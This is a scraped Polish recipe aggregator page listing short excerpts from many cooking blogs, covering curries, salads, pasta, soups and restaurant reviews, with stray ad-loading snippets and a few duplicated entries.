Na co pomaga miód Manuka 140

łyżeczce, także około pół godziny przed posiłkiem. Miód Manuka można rozpuścić w mleku lub wodzie, których temperatura nie przekracza 35 stopni, wypity wieczorem ułatwi zasypianie. Manuka może być składnikiem sosów sałatkowych oraz doskonałym dodatkiem do musli i smoothie. Miodu nie powinny stosować dzieci poniżej 1 roku życia, osoby chore na cukrzycę oraz uczulone na produkty pszczele. Domowa maseczka na trądzik

Kulinaria - potrawy z różnych stron świata
Curry z kurczakiem, papryką i dynią 148

jaśminowym. Podaję z natką, szczypiorem lub rukolą, urozmaicam. I choć chętnie zjadam curry wege to wersja z kurczakiem smakuje mi najbardziej. Polecam także: Makaron z kurczakiem i szpinakiem w sosie curry Curry z kurczaka SKŁADNIKI: 1 nieduża podwójna pierś z kurczaka 1 czerwona papryka garść mrożonego zielonego groszku garść mrożonej dyni pokrojonej w kostkę 400 ml mleczka kokosowego 1 cebula

Zasmakuj Kuchni
Makaron z kurczakiem i suszonymi pomidorami w pysznym sosie 196

pokrojone w plasterki oliwki ,dusimy minutkę aż szpinak zmniejszy swoją objętość,dolewamy śmietankę,doprawiamy curry,kurkumą ,solą i pieprzem,dodajemy ugotowany i odcedzony makaron,chwilkę jeszcze dusimy żeby sos zgęstniał i gotowe

Swojskie jedzonko
Obiadowe taco 165

Jeśli nie macie czasu na stanie przy garach to zróbcie taki ekspresowy obiad. Może się wydawać, że to danie wymaga czasu ale tak nie jest. Sos możecie zrobić wieczorem a na obiad tylko podgrzać. No i placki jeszcze podsmażyć ale to zajmuje chwilkę. Szybko i smacznie. Placki do taco możecie kupić w sklepie Kuchnie Świata jak i wiele innych fajnych

Ewa w kuchni
Pomidorowy kapuśniak z fasolą 122

posiekaną cebulą, szklimy na maśle, zalewamy gorącym bulionem drobiowym (u nas z kaczki), gotujemy aż składniki będą miękkie. Kapustę szatkujemy, dodajemy do zupy, gotujemy przez kwadrans. Fasolę wraz z sosem i koncentrat pomidorowy dodajemy do całości, zagotowujemy, do smaku doprawiamy solą i pieprzem. Podajemy z posiekanym koperkiem

R'n'G Kitchen
Kanapka ze śledziem 375

Kanapka ze śledziem to dość oryginalny pomysł na podanie tej znanej głównie z przystawek ryby. Wykorzystamy tutaj śledzia marynowanego w occie. Do przygotowania tej kanapki możecie

Kulinarnyblog.pl - wiesz jak gotować!
Sałata karbowana z pomarańczą i oliwkami 159

Użyłam czarnych oliwek, gdyż one lepiej łączą się z pomarańczą niż te zielone. Lubisz sałatki na bazie zielonej sałaty? Jeśli tak to wypróbuj nasz przepis na Sałatę zieloną z sosem serowym . The post Sałata karbowana z pomarańczą i oliwkami appeared first on MeCooks

mecooks
SAŁATKA Z PIECZONYMI BATATAMI, AWOKADO I FETĄ 285

prażone pestki słonecznika.  Do tego miodowo - musztardowy dressing i genialny posiłek gotowy. Upieczenie batatów zajmie Wam około 25 minut, w tym czasie zdążycie spokojnie przygotować resztę składników i sos. Także nie napracujecie się wiele, a najecie zdrowo i pysznie do syta  😋 Koniecznie wypróbujcie przepis! SKŁADNIKI: 1 duży batat (około 300 -350 g) 1/2 łyżeczki ostrej papryki mielonej sól

Słodko-Słony Świat Ilony
Gęsina z brzoskwiniami w winie 317

Dodajemy 4 połówki brzoskwiń pokrojone w paski (ja wykorzystuję brzoskwinie z puszki) oraz gęsinę. Całość zagotowujemy i zmniejszamy ogień. Gotujemy razem przez około 2-3 minuty. Jeśli lubicie słodszy sos można do niego dodać około 3 łyżki zalewy z brzoskwiń. Gęsina w winie dobrze smakuje z kaszą jaglaną i surówką ze świeżych warzyw

Dieta bez mleka
Sałatka z buraka i kiszonego ogórka 168

kostkę, cebulkę oraz koperek drobno siekamy. Całość oprószamy solą i pieprzem i dokładnie mieszamy. Oliwę z oliwek, ocet oraz musztardę dokładnie mieszamy aby składniki się połączyły. Tak przygotowanym sosem polewamy sałatkę. Przepis dodaję do akcji „Smaczne a nie tuczy” na durszlak.pl

Życie ze smakiem
Galareta zimne nóżki 160

przystawka imprezowa. Mam wrażenie, że teraz może już mniej popularna, jednak kilkanaście lat temu to obowiązkowe danie na przyjęciach czy imieninach. Zimne nóżki podajemy z octem, sokiem z cytryny, sosem tatarskim czy majonezem. PRZEPIS NA GALARETĘ Z IMNE NÓŻKI Składniki na galaretę zimne nóżki: 4 nóżki wieprzowe 1 golonka wieprzowa 2 liście laurowe 10 szt ziela angielskiego 1 włoszczyzna

Dorota Smakuje
Sałatka z kwiatami forsycji 169

Składniki na sałatkę z kwiatami forsycji: liście ulubionych sałat – u mnie sałata masłowa i serce sałaty rzymskiej kwiaty forsycji 2 gruszki dojrzałe oliwki orzeszki piniowe grzanki z bułki sos winegret pomarańczowy – przepis Jak zrobić sałatkę z kwiatami forsycji: Sałatę myjemy i osuszamy, rwiemy na mniejsze kawałki, układamy na półmisku. Gruszki myjemy, kroimy w ćwiartki, usuwamy gniazda nasienne, kroimy

Dorota Smakuje
TABBOULEH 254

się do zapakowania do lunchboxu i zabrania do pracy lub na uczelnię. SKŁADNIKI / 4-6 PORCJI 1 szklanka kaszy kuskus 1 szklanka gorącego bulionu lub wody z przyprawami i sosem sojowym 1 duży pęczek natki pietruszki , tylko listki 1 mały pęczek mięty, tylko listki 5 rzodkiewek 1 czerwona cebula lub szalotka  2 pomidory garść pistacji, bez łupinek pestki wyłuskane

cool and minty
Jajka nadziewane szpinakiem w tempurze 144

średnim ogniu z obu stron na złoty kolor. Po usmażeniu jajka wykładać na papierowy ręcznik celem osączenia jajek z nadmiaru oleju. Podawać na zimno same albo z dodatkiem słodkiego sosu chili. Jajka nadziewane szpinakiem w tempurze Smacznego! O czym warto pamiętać przygotowując nadziewane szpinakiem jajka. Jajka nadziewane szpinakiem w tempurze Użyłam szpinaku mrożonego . Po rozmrożenu szpinaku i odciśnięciu z niego

mecooks
Restaurant Week - Quale 169

się w ustach, a kluska z wędzonego twarogu była wspaniała! Lekko chrupiąca, z rozpływającym się środkiem - takie zaskoczenia lubię! Nie zdecydowałam się na to danie ze względu na dodatek sosu grzybowego, ale niepotrzebnie, gdyż był bardzo subtelny i smaczny. Amatorów pysznego jedzenia może rozczarować jedynie porcja, ale na pewno nie smak! 👉 Łosoś, risotto z gorgonzolą, brokuł Bardzo odważne połączenie dość

Cooking Monster
Makaron z pesto basilico i chrupiącym chorizo 187

odsączamy go i zostawiamy nieco wody spod gotowania. Do garnka wkładamy makaron i dodajemy nieco wody spod gotowania, dodajemy pesto i mieszamy całość. Skrobia zawarta w wodzie nieco zagęści sos, który stanie się bardziej aksamitny. Dodajemy chrupiące chorizo i ponownie mieszamy. Makaron wykładamy do miseczek, posypujemy dla ozdoby startym parmezanem i dekorujemy świeżą bazylią - gotowe! Pełne smaku, aromatyczne danie gotowe

Cooking Monster
Zapiekanka makaronowa w kremowym sosie pomidorowym 168

pieczemy przez 20 minut. Po upływie czasu dodajemy liście szpinaku, mieszamy. Posypujemy zapiekankę startym serem. Pieczemy 15-20 minut, do miękkości makaronu. Smacznego! Artykuł Zapiekanka makaronowa w kremowym sosie pomidorowym pochodzi z serwisu Cook Yourself

CookYourself
Gulasz z chorizo i zieloną soczewicą 179

Całość dodajemy do gulaszu. Na patelnie wlewamy kilka łyżek wody i dokładnie czyścimy patelnie ze wszytskich smaków, po czym wlewamy wszystko do gulaszu – nie możemy stracić słodkich smaków sosu oraz pikantnego od chorizo.   Gulasz jest gotowy, dodajemy do niego natkę pietruszki i doprawiamy do smaku solą i pieprzem. Podajemuy gorący.   Powrót na górę

Smaczna Strona
Ciasto francuskie z przepysznym farszem 161

ciasta robimy koperty, nożykiem nacinamy ciasto w kilku miejscach, by płyny odparowały. Ciasto smarujemy żółtkiem i posypujemy sezamem. Całość zapiekamy 25 min. w temperaturze 200°C . Podajemy z ulubionym sosem

R'n'G Kitchen
Wiosenne curry z kurczakiem i groszkiem (Curry di primavera con pollo e piselli) 168

wiosennej wersji ze świeżym groszkiem, cukinią i kurczakiem. Jako dodatek polecam ry ż  lub jak w naszym przypadku kasz ę  orkiszow ą a do maczania w sosie idealnie sprawdz ą  si ę   arabskie chlebki z jogurtem . Polecam serdecznie i zapraszam do przeczytania przepisu :) **** Qualche mese fa, sul blog ho postato una ricetta

La grande e la piccola cuoca
Deser owocowy z chia 188

macie ochotę na płynną formę tego smakołyku dodajcie więcej mleka albo mniej płatków owsianych. Lubisz deserki ze świeżymi owocami? Jeśli tak to wypróbuj nasz przepis na Krem grysikowy z sosem malinowym . The post Deser owocowy z chia appeared first on MeCooks

mecooks
GOŁĄBKI Z KASZĄ JAGLANĄ 146

żaroodpornego wykładamy liśćmi kapusty. Gołąbki układamy w naczyniu i podlewamy trochę wody. Przykrywamy pokrywą i wstawiamy do nagrzanego do 180 stopni piekarnika na 45-60 min. Możemy podać z sosem pomidorowym lub grzybowym. Smacznego ! Artykuł GOŁĄBKI Z KASZĄ JAGLANĄ pochodzi z serwisu MARKOWYSMAK.COM

Markowy smak
Polędwiczki wieprzowe w sosie ze szpinakiem i pomidorkami 187

świetną pomocą w przygotowaniu potraw a Hortex ma duży asortyment więc bez problemu przygotujecie z tą firmą pyszne dania. Jednym słowem dobra jakość w mrożonce. Polędwiczki wieprzowe w sosie ze szpinakiem i pomidorkami

Ewa w kuchni
Miska Gastro Bowls PURO Hotel 157

dania brzmią ciekawie i zapowiadają się bardzo dobrze, większość dań serwowana jest w miskach, znajdziemy w nich m.in miskę sałat z kalarepa//szpinak//tuńczyk//kapary//jajko// zielona fasola// sos z limonki// chili 28 zł albo tatar wołowy//marynowana papryka //por// ser feta 34 zł, znajdziemy tu też ravioli z selera i parmezanu z aromatycznym rosołem z kaczki i tajską

Wylizany Rondel
Miska Gastro Bowls PURO Hotel 174

dania brzmią ciekawie i zapowiadają się bardzo dobrze, większość dań serwowana jest w miskach, znajdziemy w nich m.in miskę sałat z kalarepa//szpinak//tuńczyk//kapary//jajko// zielona fasola// sos z limonki// chili 28 zł albo tatar wołowy//marynowana papryka //por// ser feta 34 zł, znajdziemy tu też ravioli z selera i parmezanu z aromatycznym rosołem z kaczki i tajską

Wylizany Rondel
Spaghetti carbonara 131

Carbonara jest to popularna potrawa, wywodząca się z kuchni włoskiej. Oryginalny przepis na carbonarę zawiera w sobie makaron (zwykle spaghetti), podgardle (guanciale) oraz kremowy sos, sporządzony z jajek i sera (najczęściej pecorino lub parmezan). Continue reading Spaghetti carbonara at Blog kulinarny Kurkanielotka.pl

PysiaGotuje.pl
Sałatka z kulkami z ciecierzycy i marchewki 162

musiałam złapać coś na szybko 😉 SAŁATKA Z KULKAMI Z CIECIERZYCY I MARCHEWKI Kulki 8 łyżek ciecierzycy (ugotowanej lub ze słoika) 2 marchewki Jajko 2 łyżki kaszy manny Garam masala, sos sojowy, papryka słodka, czerwona pasta curry Sałatka Miks sałat/jarmuż/szpinak Warzywa wg Waszej fantazji ;) u mnie papryka, ogórek konserwowy, oliwki, pieczone buraki, kukurydza, zielony groszek Zioła, przyprawy, olej

HealthyCreations
pieczarkowo-ziemniaczano-jajeczne kotlety... 174

pieprz mielony, sól czosnkową, masę dobrze wymieszać. Na gorącym oleju smażyć kotlety na rumiano - kotlety jarskie pieczarkowo- jajeczne ze szczypiorkiem są bardzo smaczne nie tylko na obiad np. w sosie pieczarkowym ale jako kotlety do pieczywa na zimno..........SMACZNEGO

W Mojej Kuchni Lubię
Sałatka Gyros 363

jest bardzo dokładny i super prosty. Salatka Gyros wychodzi perfekcyjnie smaczna, kolorowa i zjawiskowo piękna. - najlepsza sałatka na przyjęcia - pierś z kurczaka w przyprawie gyros - idealnie dobrane warzywa - świetny sos czosnkowy

AniaGotuje.pl
Sałatka makaronowa z tuńczykiem, jajkiem i serem 183

Smaku nadaje tuńczyk i jajka. Wszystkie składniki pasują do siebie i smakują wyśmienicie! Idealna na rodzinne imprezy. 250 g makaronu kolanka 1 puszka czerwonej fasoli 1 puszka tuńczyka w sosie własnym 100 g żółtego sera 1 pęczek rzodkiewki 3 jajka Sól Pieprz Czosnek granulowany 3-4 łyżki majonezu Jajka gotujemy na twardo, obieramy ze skorupek i kroimy w kostkę. Makaron

VioletoweKucharzenie
Tartaletki z indykiem, oliwkami i dynią 170

Tartaletki z mięsem mielonym z indyka, oliwkami, kukurydzą, dynią w sosie pomidorowym z dużą ilością przypraw. To propozycja na śniadanie, kolację, przekąskę, smakują na ciepło i zimno. Posypane cheddarem lub/i fetą, wytrawne, udekorowane świeżą natką lub rukolą – idealne do czerwonego wina! Tartaletki z indykiem, oliwkami i dynią SKŁADNIKI na 12 sztuk: ciasto francuskie 275 g kilka łyżek farszu mięsnego

Zasmakuj Kuchni
KUCHENNA APTEKA #29 - KEFIR 171

jest źródłem pełnowartościowego białka oraz łatwo przyswajalnego wapnia, ale w odróżnieniu od mleka jest lepiej trawiony i rzadziej uczula. Kefir to świetna baza dla koktajli owocowych, deserów, owsianek oraz sosów do sałatek. Doskonale sprawdzi się także podczas przygotowania różnego rodzaju placuszków, ciast oraz chleba. Ten niepozorny i niedoceniany przez wiele osób kefir ma właściwości zdrowotne, i zawiera cenne witaminy oraz

Kuchnia MagdaLeny
KUCHENNA APTEKA #29 - KEFIR 171

jest źródłem pełnowartościowego białka oraz łatwo przyswajalnego wapnia, ale w odróżnieniu od mleka jest lepiej trawiony i rzadziej uczula. Kefir to świetna baza dla koktajli owocowych, deserów, owsianek oraz sosów do sałatek. Doskonale sprawdzi się także podczas przygotowania różnego rodzaju placuszków, ciast oraz chleba. Ten niepozorny i niedoceniany przez wiele osób kefir ma właściwości zdrowotne, i zawiera cenne witaminy oraz

Kuchnia MagdaLeny
Pulpety w sosie pomidorowym 160

bułka kajzerka 1 łyżka świeżej siekanej pietruszki 1 łyżka mielonego kminku 2 małe cebulki dymki posiekane pieprz, sól Dodatkowo 2-3 łyżki mąki pszennej … Czytaj dalej Pulpety w sosie pomidorowym

gotuj ze mną
Czerwone spaghetti 225

Spaghetti nie zawsze musi być z sosem pomidorowym, w tej wersji wyszło zaskakująco dobre :) Składniki: - paczka makaronu spaghetti, - 3 buraki, - 50 g orzechów laskowych, - 50 g pestek słonecznika, - 2 ząbki czosnku, - sok z cytryny, - 100 g parmezanu, - rozmaryn, - sól, - pieprz, - olej. Sposób przygotowania: Buraki gotować w osolonej wodzie. Zmiksować w blenderze z czosnkiem, odrobiną oleju, sokiem z cytryny, połową orzechów

Przepisy Mikołaja
Pulpety indycze w paprykowym sosie 142

Dietetyczne pulpety w aksamitnym sosie Składniki: 400 g mielonego mięsa indyczego (najlepiej udźca) 1 łyżka musztardy sarepskiej 1 cebula 2 czerwone papryki 1 łyżka oliwy z oliwek 700 ml wrzątku szczypta oregano 1 pełna łyżka mąki kukurydzianej sól, pieprz Przygotowanie: Mięso wyrabiamy z musztardą, do smaku doprawiamy solą i pieprzem. Formujemy pulpety wielkości orzecha włoskiego. Cebulę i papryki siekamy, podsmażamy

R'n'G Kitchen
Sałatka makaronowa z wędzonym kurczakiem 217

idealna na imprezy lub od tak, gdy mamy ochotę na coś dobrego. Ja uwielbiam takie połączenia, a Wy? Jeśli lubicie dania z makaronem, to polecam Wam również makaron w sosie śmietanowym z szynką . Pyszna propozycja na obiad Składniki: 1 szklanka makaronu muszelka z kurkumą EkoMak Makarony Babuni (odmierzane przed gotowaniem) około 160-180 g wędzonego kurczaka (ilość można dostosować

Słodkie okruszki
Lekki makaron gryczany 172

mieszamy z ksylitolem i solą, podgrzewamy w rondelku na małym ogniu. Gdy ksylitol się rozpuści zdejmujemy rondelek z ognia, odstawiamy. Dodajemy olej sezamowy oraz czosnek przeciśnięty przez praskę. Gdy sos ostygnie, dodajemy skórkę i sok z limonki. Bakłażana kroimy w równą, dość dużą kostkę, smażymy na oleju. Gdy kawałki bakłażana się zrumienią, przekładamy je na sito, solimy i pozostawiamy

Kucharzyca
Makaron z pulpetami wołowymi i warzywami 179

minut. Po tym czasie dołożyć pomidory z puszki pokrojone na mniejsze kawałki, koncentrat pomidorowy i całość doprawić do smaku solą i pieprzem. Dusimy kolejne 10-15 minut aż sos zgęstnieje. W międzyczasie ugotować makaron w osolonej wodzie, odcedzić. Makaron podawać z pulpetami. Smacznego

magiczna kuchnia Kasi
Jajka sadzone z boczkiem 230

Jajka sadzone z boczkiem to niepełna wersja typowego angielskiego śniadania. Z całą pewnością ten posiłek doda Wam energii na resztę dnia. Zobaczcie zatem jakich składników potrzebujcie

Kulinarnyblog.pl - wiesz jak gotować!
Placuszki drożdżowe, bardzo puszyste 137

Dużą łyżką nakładać porcje ciasta. Smażyć na małym ogniu na złoty kolor z obydwu stron. W smażeniu są bardzo łatwe. Placuszki podczas smażenia jeszcze rosną. Serwowanie – podawać z sosem klonowym, bitą śmietaną, owocami, cukrem pudrem. Tu już możecie podawać według waszych upodobań. Wykonanie w thermomix do naczynia miksującego wkruszyć drożdże, dodać 1 łyżkę cukru, 1 łyżkę mąki, połowę letniego

Kuchnia Pokoleń
Hummus na ostro 304

Większość z Was zna tylko klasyczną wersję hummusu, ale tym razem przygotujemy wersję na ostro. Jeśli wolicie jednak wersję klasyczną, to odłóżcie trochę hummusu przed dodaniem

Kulinarnyblog.pl - wiesz jak gotować!
Jajka na ziołowym posłaniu 182

albo imprezę. Wystarczy ugotować jajka na twardo (zobacz post Jak ugotować jajka na twardo ) i podać je na ulubionej zieleninie. Można zrobić jeszcze krok do przodu i całość skropić sosem np tatarskim albo chrzanowym . PRZEPIS NA JAJKA NA ZIELONYM POSŁANIU Składniki na jajka na zielonym posłaniu: 4 jajka sól himalajska młode, środkowe liście kapusty pekińskiej kiełki rzodkiewki kiełki brokułu

Dorota Smakuje
Pasta do chleba z pieczonym czosnkiem 156

Każdy ząbek wyciskamy z łupinki. Dodajemy do serka. Doprawiamy solą i pieprzem. Mieszamy. Przed podaniem posypujemy szczypiorkiem. Pastę z pieczonym czosnkiem podajemy z pieczywem, jako dip do warzyw lub sos do dań mięsnych i warzywnych. *Czosnek można upiec przy okazji z inną potrawą, np. z kurczakiem lub warzywami.  Warto wiedzieć, że czosnek to samo zdrowie. Uważany jest za naturalny

My Chcemy Jeść
Zakręcona szpinakowa frittata z tuńczykiem, kaparami i zielonym pieprzem 266

białego pieprzu  450 g mrożonego Szpinaku Hortex 40 g masła  1 mała cebula  Na nadzienie Pastę z tuńczyka :  120 g tuńczyka w sosie własnym  150 g kremowego serka  1 ząbek czosnku  2 łyżeczki zielonego pieprzu marynowanego  2 łyżki kaparów garść świeżego szczypiorku  garść świeżej rzeżuchy  1/2 łyżeczki słodkiej wędzonej

vaniliowoczekoladowa
Gulasz wołowo-warzywny z piwem 156

same najlepsze smaki. Alkohol wyparowuje, a pozostaje tylko jęczmienny posmak, intensywny kolor i rozpadające się kawałki mięsa. Do tego marchewka, groszek i ziemniaki – dodatki gotowane w całym tym sosie. Do takiego gulaszu już nic więcej nie trzeba – wszystko dobre znajdziemy w środku. Składniki (na 3 porcje): 500g wołowiny – użyłam antrykotu 3 średnie ziemniaki 2 średnie marchewki

Smaczna Strona
Terrina ze śledzi 224

Czasami aby uzyskać spektakularny efekt nie potrzeba kilku godzin spędzonych w kuchni. Świetnym przykładem jest tutaj terrina ze śledzi z rzodkiewką, ogórkiem, szczypiorkiem, koperkiem i cebulą w pysznym sosie na bazie śmietany z dodatkami, podana z kiełkami słonecznika. Potrawę można podać jako przekąskę lub na kolację jako samodzielną potrawę. Terrinę można pokroić na malutkie kwadraty lub, tak jak u mnie

Passions hobbies life
Surówka z kapusty prosta, zdrowa 185

razu odcedzić. Jeśli kapusta nie jest młoda to ją chwilę w tej wodzie potrzymać. (adsbygoogle = window.adsbygoogle || []).push({}); Odcedzoną kaustę odstawić do wystygnięcia i w tym czasie przygotować sos z oleju, cytryny, cukru, soli, majonezu,wyciśniętego przez praskę czosnku. Dokładnie wymieszać. Zetrzeć na tarce o grubych otworach marchew, cebulę i jabłko (adsbygoogle = window.adsbygoogle || []).push({}); Wymieszać dokładnie wszystkie składniki, dodać posiekaną pietruszkę

zielonacukinka
Quesadilla z kurczakiem 216

Posyp kawałki świeżymy papryczkami jalapeno, marynowanymi jalapeno lub świeżymi chilli. Dodaj też listki świeżej kolendry. Quesadillę podawaj z domowym pysznym guacamole , śmietaną 18%, możesz przygotować też ostry sos pomidorowy. Z wszystkimi dodatkami smakuje rewelacyjnie. SMACZNEGO! Artykuł Quesadilla z kurczakiem pochodzi z serwisu nietylkopasta.pl - blog kulinaria, restauracje, podróże

nietylkopasta.pl
Makaron z awokado i nerkowcami 132

miksujemy na drobne kawałeczki. Dodajemy resztę składników i na mniejszych obrotach miksujemy , do połączenia składników. Szparagi myjemy i smażymy na lekko natłuszczonej patelni grillowej. Odsączony makaron mieszamy z powstałym sosem. Podajemy ze szparagami, rzeżuchą i cząstkami limonki. Smacznego :)   Artykuł Makaron z awokado i nerkowcami pochodzi z serwisu Mienta blog

Mienta blog
Menu na tydzień: Pomysły na zdrowy lunch ze słoika 158

dresing do sałatki, zrobiony na bazie trzech ziół z dodatkiem jogurtu i minimalnej ilości majonezu. I druga rzecz godna zapamiętania: glazura do polędwiczek z kurczaka, z soku pomarańczowego i sosu hoi sin. Doskonale aromatyzuje mięso i zabezpiecza je przed wyschnięciem podczas pieczenia. Czwartek: Makaron po sycylijsku z niezwykłym pesto Pesto w tym makaronie jest naprawdę niesamowite. Zawiera w sobie kapary

Niedzielny kucharz
Gnocchi zapiekane z serem i szynką 171

wymieszaj dokładnie. Naczynie do zapiekania wysmaruj delikatnie oliwą. Wyłóż na nią gnocchi z pozostałymi składnikami. Zapiekankę posyp serem, tak aby pokrył on całą powierzchnię blachy. Na koniec całość polej sosem jajeczno – śmietanowym. Piecz ok. 35 minut w piekarniku rozgrzanym do 180 stopni. Podawaj zaraz po upieczeniu. Smacznego   Artykuł Gnocchi zapiekane z serem i szynką pochodzi z serwisu

365 dni dookoła kuchni
Karkówka pieczona w rękawie wraz z ziemniakami, marchewką i pieczarkami 356

pieczenia i piec co najmniej 1,5 godziny. Danie idealne na niedzielny obiad. Karkówka przygotowania w poniższy sposób będzie miękka i soczysta, a warzywa będą idealnie ugotowane (nasiąkną powstałym sosem z pieczenia karkówki). Polecam przygotować poniższe danie, do którego przyrządzenia możecie wykorzystać resztki warzyw 😊 Składniki na 4 porcje: 1 kg karkówki 1 duża marchewka 2 małe cebule 2-3 ząbki

Ugotować
Naleśniki z batatów 178

ciasta na rozgrzaną patelnię i smażyć po kilka minut z każdej strony. Układać w stosik i przechowywać w cieple podawać z ulubionymi dodatkami, u mnie z białym serem i sosem malinowym

Gotuj zdrowo!Guten Appetit!
Sałatka Cobb 205

będzie przyrządzić go w małym słoiczku, do którego dodajemy wszystkie składniki i po prostu potrząsamy nim porządnie kilka razy do całkowitego wymieszania się składników. Przyrządzoną wcześniej sałatką polewamy równomiernie sosem i podajemy od razu. Jeśli chcecie zabrać sałatkę do pracy to przygotujcie składniki dzień wcześniej, a następnego dnia wymieszajcie razem z sałatą, a przed podaniem polejcie dressingiem. W przeciwnym razie

Cooking Monster
Sos tatarski 223

Sos tatarski jest smacznym dodatkiem do jajek na twardo, pasztetów i wędlin. Szybki do zrobienia, urozmaici inne dania. Składniki: 2 ogórki konserwowe 5 grzybów marynowanych (polecam grzyby ze sklepu Skworcu ) 1 mała cebula czubata łyżeczka chrzanu 2 czubate łyżki majonezu szczypta soli pieprz mielony Wykonanie: Ogórki konserwowe, grzyby i cebulę drobno siekamy. Dodajemy pozostałe składniki i całość mieszamy. Smacznego

Smak mojego domu
Nie Lada Restobar - nowoczesny bar mleczny 153

zmieni. 😅 👉 Deser  - czekolada/malina/wanilia Ponownie klasyczne, sprawdzone połączenie smaków. Ale czy jest ktoś, kto nie przepada za czekoladą? Fondant przyrządzony bez zarzutu, a do tego lody waniliowe i sos malinowy. Genialne zwieńczenie posiłku. Życzyłabym sobie, by każdą kolację zakończyć tak smacznym deserem.  Dania Klaudii są smaczne, skomponowane w przemyślany sposób i prezentują się naprawdę ładnie. Mają to restauracyjne zacięcie

Cooking Monster
Pieczony królik z solanki 240

godz. i 20 minut pod przykryciem w temperaturze 180 stopni C, a potem jeszcze 20-30 minut bez przykrycia. W ostatniej fazie pieczenia warto przynajmniej raz polać mięso sosem, który zgromadzi się na dnie naczynia

Weekendy w domu i ogrodzie
Sałatka meksykańska z makaronem 175

sera żółtego cheddar 2 filety z kurczaka 2 duże czerwone papryki 2 puszki fasoli czerwonej 1 puszka kukurydzy 2-3 łyżki oleju 3 łyżki przyprawy chili * sól Sos 250 g majonezu pieprz czarny sól Dodatkowo 1 pęczek natki pietruszki Instructions Makaron gotujemy w osolonej wodzie według przepisu na opakowaniu. Filety z kurczaka kroimy w większą kostkę, dodajemy przyprawę chili

Wędrówki po kuchni
szybkowar - gołąbki drobiowe z przyprawą do mięsa duszonego... 181

się, gotuję wieczorem i do rana zostawiam),gołąbki wyjąć na talerz. Wywar przelać do garnuszka, dodać przecier pomidorowy, kucharka i zagotować, śmietanę wymieszać z mąka, wodą i wlać do sosu mieszając do zagęstnienia, do smaku doprawić pieprzem,solą - pyszne, delikatne, aromatyczne gołąbki drobiowo-ryżowe z szybkowara, są doskonałe na obiad, na kolację............SMACZNEGO

W Mojej Kuchni Lubię
Hreczniaki – kotlety z kaszy gryczanej z białym serem 128

rozbełtane jajka. Wymieszać. Doprawić do smaku solą i pieprzem. Dodać natkę pietruszki. Zwilżonymi dłońmi formować kotleciki. Obtoczyć w bułce tartej. Smażyć na rozgrzanym tłuszczu na złoty kolor. Podawać z sosem grzybowym, pieczarkowym lub pomidorowym.   zastawa

królestwo garów
Podsumowanie tygodnia #1 148

Moje - Pasje. Pojawiło się kilka ciekawych przepisów na Wielki Post i Wielkanoc: Sałatka z białą rzodkwią, żółtym serem i jajkiem Śledzie po włosku Śledzie w pomidorowej marynacie Śledzie w sosie słodko-kwaśnym Wigilijne śledzie  (tak, wiem, że do Wigilii jeszcze daleko, ale śledzie obok żuru to symbol Wielkiego Postu, na zakończenie którego kiedyś wieszano śledzia). Dzisiaj i w kolejnych

blog.moje-pasje.info
Zupa pho ga z kurczakiem 165

kuchni wietnamskiej. To zupa, rodzaj rosołu z makaronem i dodatkami. Może być phở bò z wołowiną lub phở gà z mięsem kurczaka. Zupę najczęściej przyprawia się zieloną kolendrą i sosem rybnym. “Przepis na potrawę powstał na początku XX wieku w północnym Wietnamie. Po roku 1954, w związku z migracjami spowodowanymi podziałem Wietnamu na część południową i północną, potrawa rozprzestrzeniła się

Bernika - moj kulinarny pamietnik
Krokieciki ryżowe z pieczarkami i serem 172

przepis na równie pyszne, o ile nie smaczniejsze kotleciki z dodatkiem pieczarek i żółtego sera. Przygotujecie je błyskawicznie i równie błyskawicznie znikną wszystkie z talerza. Polecam podać je z sosem pieczarkowym, koperkowym czy nawet pomidorowym. 200 g ryżu, u mnie biały 250g pieczarek 1 cebula 100g sera żółtego startego na tarce o grubych oczkach 2 łyżki masła sól, pieprz

Smaki Na Talerzu
KURCZAK PO MEKSYKAŃSKU 197

Dziś mam dla Was propozycję na pyszne danie jednogarnkowe. Soczyste kawałki kurczaka, warzywa, czerwona fasola i sos pomidorowy. Idealne danie na obiad z dodatkiem ryżu lub ulubionej kaszy. Można również podać jako ciepły posiłek na kolację z kawałkiem chleba lub bułki.  Składniki: * pół kg piersi z kurczaka * 1 cebula * 1 czerwona papryka * 1 puszka czerwonej fasoli (użyłam  Orzech

Zrób to smacznie
Pieczony filet z kurczaka 248

Składniki 1 pierś z kurczak z kością 1 słoik/puszka krojonych pomidorów 1 cebula 3 ząbki czosnku słodka i ostra papryka sól, pieprz 2-3 łyżki sosu worcester 2 łyżki miodu 5-7 … Czytaj dalej Pieczony filet z kurczaka

czarrna od kuchni
Dania warzywne - poznaj moc warzyw 144

kuchni warzywnej. Nowe dania gotowe Marka co pewien czas wprowadza nowe produkty i oto obok znanych już pysznych past i pasztetów z warzyw, pojawiły się gołąbki z warzywami w sosie grzybowym i pomidorowym , soczewica z suszonymi pomidorami , bigos warzywny i mix po bretońsku (fasola, ciecierzyca, soczewica) . Z nowych produktów najbardziej posmakowała mi  soczewica z suszonymi pomidorami , którą chętnie włączę

Kuchcik gotuje
Krokieciki z kaszy mazurskiej - zero waste 167

wędlin 2 łyżki oliwy z oliwek 1 cebula 2 ząbki czosnku pęczek posiekanej natki pietruszki 2 jajka bułka tarta sól i pieprz olej z pestek winogron do smażenia Sos: 3-4 łyżki pasty Sokołów Wieprzowina z grillowaną papryką 3-4 łyżki oliwy z oliwek garść orzechów włoskich kmin rzymski czarnuszka wędzona papryka sól i pieprz listki kolendry do dekoracji Wykonanie

Kulinarne przygody Gatity
Sałatka „Sushi” 210

odstawić do lodówki na kilka godzin. Przed podaniem duży talerz położyć na foremce i odwrócić foremkę do góry dnem. Zdjąć folię z sałatki i podawać z marynowanym imbirem i sosem sojowym. Smacznego Sałatka „Sushi” Sałatka „Sushi” Sałatka „Sushi” Sałatka „Sushi” " alt="Smaczne a nie tuczy " data-recalc-dims="1"> Artykuł Sałatka

Smaki Armine
Dwie wersje hummusu 156

Hummus pasuje praktycznie do wszystkiego. Jest bardzo popularny. Pokażę Wam jak za jednym razem przygotować dwie wersje hummusu. Jedna to wersja klasyczna, a druga odrobinę ostrzejsza

Kulinarnyblog.pl - wiesz jak gotować!
Zupa krem z kalafiora 171

zawsze pod ręką, gdy najdzie nas ochota na zupę na bazie bulionu (sprawdź nasz super przepis na zupę porową z klopsikami ) lub gdy jest on potrzebny do wykonania jakiegoś sosu. (adsbygoogle = window.adsbygoogle || []).push({}); Zupa krem z kalafiora – Składniki: 1 średni kalafior – ok. 800 g (już po wycięciu kłębu i liści) 1 litr bulionu warzywnego lub drobiowego (np. rosołu

Kulinarne Przeboje
